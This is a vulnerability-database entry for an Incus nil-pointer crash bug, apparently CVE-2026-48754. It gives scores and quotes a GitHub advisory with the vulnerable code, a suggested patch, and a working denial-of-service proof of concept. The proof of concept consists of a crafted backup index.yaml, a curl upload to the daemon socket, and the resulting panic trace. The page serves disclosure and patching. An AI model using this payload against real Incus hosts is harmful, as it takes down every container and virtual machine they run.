CVE-2026-48754

mediumpriority · track · 0EPSS 0.004 · 32 %ileRUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.38% (32nd) EPSS
CVSS 4.3 · medium
Is it mine?
7 products
Check your exposure
Who says so?
2 sources
fstec_bdu · osv

EPSS · scored 2026-10-28

Incus is a system container and virtual machine manager. Prior to version 7.1.0, `(*backend).createDependentVolumesFromBackup` in `internal/server/storage/backend.go` contains a cluster of unguarded pointer derefs on every dependent-volume entry's `VolumeSnapshots[i]`, `Volume`, and `Pool` sub-fields. An authenticated user with `can_create_instances` permission on any project can crash the `incusd` daemon by uploading an instance backup tarball whose `dependent_volumes[*]` block contains a nil snapshot pointer (or omits `volume:` / `pool:`). This is a sibling-field variant of the 2026-05-04 batch fix `d768f81c0a1d985f35ae56219519822b080bf5e3` ("Properly check dependent volumes on import"). That commit added `if disk == nil` at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked. Version 7.1.0 contains an updated patch.

01

cvss

Technical severity, 0–10. One row per scoring source.

4.3
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–medium · 1.3–4.3

v3.14.3mediumAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:Lsecondary · FSTEC (BDU) RU
v4.02.1lowCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.01.3lowCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (7)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-4xg6-52mh-fpw8Incus: Nil-pointer dereference in createDependentVolumesFromBackup on disk.{Volume,VolumeSnapshots,Pool}2026-06-26ghsa · osvUS

    ## Summary `(*backend).createDependentVolumesFromBackup` in [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go) contains a cluster of unguarded pointer derefs on every dependent-volume entry's `VolumeSnapshots[i]`, `Volume`, and `Pool` sub-fields. An authenticated user with `can_create_instances` permission on any project can crash the `incusd` daemon by uploading an instance backup tarball whose `dependent_volumes[*]` block contains a nil snapshot pointer (or omits `volume:` / `pool:`). This is a sibling-field variant of the 2026-05-04 batch fix `d768f81c0a1d985f35ae56219519822b080bf5e3` ("Properly check dependent volumes on import"). That commit added `if disk == nil` at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked. ## Vulnerable code [`internal/server/storage/backend.go:9352-9412`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go#L9352-L9412): ```go func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error { ... for _, disk := range srcBackup.Config.DependentVolumes { if disk == nil { // ← d768f81 parent fix return errors.New("Bad dependent volume definition found in index") } ... snapshots := []string{} for _, snap := range disk.VolumeSnapshots { snapshots = append(snapshots, snap.Name) // ← I-2 trigger: snap may be nil } bInfo := backup.Info{ Project: disk.Volume.Project, // ← disk.Volume may be nil Name: disk.Volume.Name, Backend: disk.Pool.Driver, // ← disk.Pool may be nil Pool: disk.Pool.Name, ... } ... devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name) ... } } ``` `disk` has type `*config.Config` (declared in [`internal/server/backup/config/backup_config.go:8`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/backup/config/backup_config.go#L8)). Its `Volume` field is `*api.StorageVolume`, `Pool` is `*api.StoragePool`, `VolumeSnapshots` is `[]*api.StorageVolumeSnapshot` — all yaml `omitempty`. YAML omission decodes to nil for each. The parent fix mental-modeled "outer-iteration variable nil"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant. ## Reach 1. Attacker is an authenticated client with `can_create_instances` on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753. 2. `POST /1.0/instances` with `Content-Type: application/octet-stream` and `X-Incus-name: <name>`. 3. Body is a tar containing [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) whose `config:` block has a non-nil `container:` (passes `instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil`) and a `dependent_volumes:` list with a malformed entry. 4. Chain: `instancesPost` -> `createFromBackup:854` (Container guard passes) -> `pool.CreateInstanceFromBackup` -> `backend.go:782 b.createDependentVolumesFromBackup` -> `backend.go:9374 snap.Name` panics on the nil `*api.StorageVolumeSnapshot` element. 5. `incusd` dies. Persistent DoS on repeat. Minimal [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) (used in the bundled PoC): ```yaml name: poc-inst backend: dir pool: default type: container optimized: false optimized_header: false snapshots: [] config: container: name: poc-inst architecture: x86_64 type: container profiles: ["default"] config: {} devices: {} expanded_devices: depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data} expanded_config: {} dependent_volumes: - volume: {name: depvol, type: custom, content_type: filesystem, config: {}} pool: {name: default, driver: dir, config: {}} volume_snapshots: - ~ # explicit null entry → snap.Name at 9374 panics ``` (The container block must declare at least one device with `type: disk`, `dependent: "true"`, `pool != ""`, `path != "/"` to populate `devicesMap` and reach the second loop. Trivially satisfiable.) An equivalent triggering YAML omits `volume:` or `pool:` from the dependent_volumes entry; in that case `disk.Volume.Project` at 9378 panics instead. ## Proof of concept (end-to-end against running daemon) Bundled in the report: `make_backup.sh` + 666-byte `poc-inst.tar.gz`. Tested against `incus 7.0.0` (zabbly latest GA, build `1:0~ubuntu24.04~202605201355`) inside a privileged Ubuntu 24.04 container with default `dir` pool. ```bash $ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \ --data-binary @/tmp/poc-inst.tar.gz \ -H 'Content-Type: application/octet-stream' \ -H 'X-Incus-name: poc-inst' \ http://incus/1.0/instances {"type":"async","status":"Operation created","status_code":100,...} $ ps -ef | grep incusd | grep -v grep # process gone ``` Daemon panic: ``` panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc] goroutine 257 [running]: github.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...) /build/incus/internal/server/storage/backend.go:9374 +0x42c github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...) /build/incus/internal/server/storage/backend.go:782 +0x660 main.createFromBackup.func8(...) /build/incus/cmd/incusd/instances_post.go:989 +0x2ac github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...) /build/incus/internal/server/operations/operations.go:307 +0x2c ``` Stack frame [`backend.go:9374`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backend.go#L9374) is the literal `snap.Name` line. ## Impact - **Severity:** denial of service against the entire `incusd` process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - **Privileges required:** any authenticated user with `can_create_instances` on any project. Not behind the admin tier. - **Network attack surface:** the Incus REST API on `:8443` or the unix socket. - **CWE-476** — Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). - **Versions:** v7.0.0 confirmed. The `dependent_volumes` feature did not exist in v6.x, so the vulnerable code is v7-only. ## Suggested fix ```diff --- a/internal/server/storage/backend.go +++ b/internal/server/storage/backend.go @@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error { for _, disk := range srcBackup.Config.DependentVolumes { if disk == nil { return errors.New("Bad dependent volume definition found in index") } + + if disk.Volume == nil || disk.Pool == nil { + return errors.New("Bad dependent volume definition: missing volume or pool") + } + + for _, snap := range disk.VolumeSnapshots { + if snap == nil { + return errors.New("Bad dependent volume snapshot definition") + } + } + optimizedStorage := srcBackup.OptimizedStorage optimizedHeader := srcBackup.OptimizedHeader snapshots := []string{} for _, snap := range disk.VolumeSnapshots { snapshots = append(snapshots, snap.Name) } ``` ## Reporter notes Reported via Privately-Reported Vulnerability against `lxc/incus` by tonghuaroot.

  • GO-2026-5800Incus: Nil-pointer dereference in createDependentVolumesFromBackup on disk.{Volume,VolumeSnapshots,Pool} in github.com/lxc/incus2026-07-07vendor · osvUS

    Incus: Nil-pointer dereference in createDependentVolumesFromBackup on disk.{Volume,VolumeSnapshots,Pool} in github.com/lxc/incus

06

also known as (4)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-08-21modified 2026-09-21
08

references (1) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan